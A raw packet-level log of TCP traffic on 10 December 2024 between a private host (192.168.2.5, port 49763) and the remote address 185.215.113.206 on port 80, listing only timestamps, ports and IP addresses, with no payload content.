Dec 10, 2024 02:50:37.349632978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.349674940 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.350364923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.350410938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.350481987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.350526094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.351210117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.351257086 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.351325035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.351370096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.352029085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.352073908 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.352138996 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.352185965 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.352864027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.352910995 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.352947950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.352989912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.353674889 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.353717089 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.353779078 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.353822947 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.354516983 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.354571104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.354605913 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.354674101 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.503282070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.503423929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.503446102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.503597021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.503685951 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.503737926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.503817081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.503856897 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.504497051 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.504549026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.504681110 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.504722118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.505321026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.505362988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.505418062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.505454063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.506138086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.506181002 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.506294012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.506335974 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.506972075 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.507009983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.507086039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.507121086 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.507808924 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.507850885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.507915974 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.507955074 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.508651018 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.508694887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.508744001 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.508785963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.509471893 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.509520054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.509573936 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.509649038 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.510437012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.510483027 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.510624886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.510669947 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.511142969 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.511193991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.511234999 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.511265039 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.511987925 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.512036085 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.512101889 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.512150049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.512814999 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.512864113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.512907982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.512945890 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.513664007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.513711929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.513767958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.513812065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.514499903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.514547110 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.514604092 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.514645100 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.515327930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.515372992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.515431881 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.515475035 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.516133070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.516175985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.516242981 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.516280890 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.516983986 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.517030001 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.517091036 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.517129898 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.517807007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.517853975 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.517911911 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.517956972 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.518646002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.518696070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.518723965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.518769979 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.519474983 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.519522905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.519577980 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.519622087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.520314932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.520359039 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.520392895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.520431042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.521159887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.521202087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.521236897 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.521269083 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.522002935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.522048950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.522142887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.522182941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.522819042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.522876024 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.522906065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.522941113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.523658991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.523705006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.523782015 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.523816109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.524482012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.524529934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.524590969 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.524631023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.525305033 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.525346994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.525417089 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.525454998 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.526163101 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.526211023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.526273966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.526320934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.526979923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.527028084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.527085066 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.527118921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.527810097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.527854919 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.527905941 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.527947903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.528640985 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.528687954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.528757095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.528795004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.529516935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.529556990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.529685974 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.529725075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.530288935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.530333042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.531327009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.531364918 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.531419039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.531465054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.531717062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.531764030 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.531883001 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.531924009 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.531992912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.532031059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.532726049 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.532773972 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.532897949 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.532936096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.533581972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.533627033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.533655882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.533695936 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.534396887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.534440994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.534476042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.534513950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.535216093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.535259008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.535331011 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.535377026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.536057949 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.536099911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.536165953 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.536202908 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.536895037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.536941051 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.537009001 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.537051916 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.537722111 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.537766933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.537827015 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.537864923 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.538553953 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.538598061 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.538661003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.538698912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.539397955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.539441109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.539580107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.539623022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.540241003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.540283918 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.540334940 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.540369034 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.541038990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.541081905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.541140079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.541177988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.541868925 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.541912079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.541970968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.542013884 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.542721987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.542767048 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.542809010 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.542844057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.543560028 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.543602943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.543673992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.543714046 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.544409037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.544450045 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.544590950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.544632912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.545224905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.545269966 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.545326948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.545367002 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.546066046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.546108961 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.546189070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.546228886 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.546900034 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.546945095 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.546974897 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.547008991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.695616007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.695805073 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.695817947 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.695872068 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.695965052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.696003914 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.696099043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.696137905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.696778059 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.696827888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.696911097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.696949005 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.697607040 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.697650909 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.697707891 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.697742939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.698434114 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.698471069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.698522091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.698559999 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.699254990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.699299097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.699354887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.699389935 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.700169086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.700212002 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.700278997 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.700316906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.700922012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.700959921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.701049089 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.701086044 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.701792955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.701842070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.702013016 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.702052116 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.702603102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.702645063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.702688932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.702723026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.703447104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.703488111 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.703604937 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.703653097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.704261065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.704305887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.704349041 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.704385996 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.705091000 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.705127001 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.705193043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.705358982 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.705992937 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.706054926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.706089020 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.706166029 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.706788063 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.706834078 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.706883907 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.707057953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.707617044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.707659960 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.707788944 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.707818985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.708441973 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.708487988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.708545923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.708580971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.709291935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.709338903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.709368944 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.709400892 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.710103035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.710150957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.710216999 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.710252047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.710984945 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.711031914 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.711147070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.711179018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.711791992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.711834908 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.711968899 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.712008953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.712632895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.712672949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.712721109 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.712755919 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.713459015 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.713505030 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.713551044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.713583946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.714315891 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.714364052 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.714484930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.714517117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.715101957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.715152025 CET	49763	80	192.168.2.5	185.215.113.206
